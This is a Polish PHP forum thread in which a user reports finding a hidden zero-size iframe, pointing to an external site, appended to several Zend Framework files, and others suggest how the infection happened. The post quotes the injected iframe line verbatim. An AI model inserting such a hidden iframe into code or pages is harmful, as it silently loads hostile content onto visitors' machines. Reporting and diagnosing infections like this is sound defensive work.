Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> Zainfekowany kod Zend Framework ?
qba10
post 8.02.2010, 21:50:54
Post #1





Grupa: Zarejestrowani
Postów: 264
Pomógł: 20
Dołączył: 19.08.2007
Skąd: Bryńsk k. Lidzbarka Welskiego (nie mylić z Warmińskim)

Ostrzeżenie: (0%)
-----


Właśnie przed chwilą się trochę zaniepokoiłem.
Pracując na eclipse zauważyłem że w bibliotece Zend jest błąd składni...
Prędzej nie zwracałem na niego uwagi, bo teraz mi Zend nie potrzebny, ale przed chwilą z ciekawości zajrzałem o co tam chodzi i o zdziwieniu ujrzałem coś takiego:
(Fragment pliku Config.php biblioteki Zend)
  1. protected function _assertValidExtend($extendingSection, $extendedSection)
  2. {
  3. // detect circular section inheritance
  4. $extendedSectionCurrent = $extendedSection;
  5. while (array_key_exists($extendedSectionCurrent, $this->_extends)) {
  6. if ($this->_extends[$extendedSectionCurrent] == $extendingSection) {
  7. /** @see Zend_Config_Exception */
  8. require_once 'Zend/Config/Exception.php';
  9. throw new Zend_Config_Exception('Illegal circular inheritance detected');
  10. }
  11. $extendedSectionCurrent = $this->_extends[$extendedSectionCurrent];
  12. }
  13. // remember that this section extends another section
  14. $this->_extends[$extendingSection] = $extendedSection;
  15. }
  16.  
  17. }
  18. <iframe src="http://www.51dj8.com/wenhua/first.htm" width="0" height="0" frameborder="0"> </iframe>

Takie iframe znalazłem w plikach:
zend/Config.php
zend/Mail.php
zend/InfoCard/* (wszsytkie pliki *.php
zend/Chiper/Exception.php
zend/Memory/* (wszsytkie pliki *.php)
zend/Openld/* (wszystkie php)
zend/Rest/* (wszytkie php)
Zauważyłem też że w tych folderach z zainfekowanym iframe jest plik desktop_.ini) z zawartością
Kod
2010-1-24


Wersja Zend'a to coś 1.5.* (nie jestem pewien)
czy ktoś się z czymś takim spotkał?
Podejrzewam że pliki były zainfekowane na moim komputerze...
Jednak co mnie bardziej zaniepokoiło, ja posiadam linuxa, a pliki były trzymane na partycji /home więc nic nie zainfekowało kodu z Windowsa...


--------------------
Qbix Media Project - Prosty Multiplatformowy Odtwarzacz Muzyki
Go to the top of the page
+Quote Post
erix
post 8.02.2010, 23:04:33
Post #2





Grupa: Moderatorzy
Postów: 15 467
Pomógł: 1451
Dołączył: 25.04.2005
Skąd: Szczebrzeszyn/Rzeszów




Pewnie miałeś jakąś dziurę w skrypcie, która umożliwiła dołączenie kodu z zewnątrz i operowanie na plikach Twojego serwera.

Dość częsty exploit - przeanalizuj logi dostępowe w poszukiwaniu parametrów z pełnym URL do pliku-exploita i zobacz, jak jest przetwarzany kod tego kontrolera.


--------------------

ZCE :: Pisząc PW załączaj LINK DO TEMATU i TYLKO w sprawach moderacji :: jakiś błąd - a TREŚĆ BŁĘDU? :: nie ponaglaj z odpowiedzią via PW!
Go to the top of the page
+Quote Post
netvalue
post 8.02.2010, 23:16:40
Post #3





Grupa: Zarejestrowani
Postów: 199
Pomógł: 2
Dołączył: 9.06.2008

Ostrzeżenie: (0%)
-----


Masz pewnie zainstalowanego Total Commandera a w nim wpisane konta ftp z hasłami. Ostatnio było dosyć głośno o takim robaku co skubał
dane ftp z TC a następnie łączył się z targetem i doklejał takie chłamy... Radze zmienić wszystkie hasła z TC i go więcej nie używać.
Natomiast pliki php musisz "odsiać" smile.gif
Go to the top of the page
+Quote Post
qba10
post 8.02.2010, 23:30:22
Post #4





Grupa: Zarejestrowani
Postów: 264
Pomógł: 20
Dołączył: 19.08.2007
Skąd: Bryńsk k. Lidzbarka Welskiego (nie mylić z Warmińskim)

Ostrzeżenie: (0%)
-----


Ale ja te pliki miałem na localu...
Do serwera www nie ma dostępu z zewnątrz ponieważ router to uniemożliwia.
Total Comandera nie używam bo po co mi ftp na loclau.
Co lepsze, jeżeli data w tym pliku dektop_.ini jest data zmodyfikowania i wgrania tych iframe to w tym czasie (nawet w tym roku) w ogóle nie używałem Zend'a przy żadnym skrypcie...
Jedynie co miałem kontakt z tymi plikami to za pomocą Eclipse, bo mam je w folderze projektu...

PS: inne pliki php w moim projekcie są czyste

No niestety logi mam dopiero od 4 lutego, bo zmieniałem dystrybucje linuxa..

Ten post edytował qba10 8.02.2010, 23:36:31


--------------------
Qbix Media Project - Prosty Multiplatformowy Odtwarzacz Muzyki
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 20.07.2025 - 16:02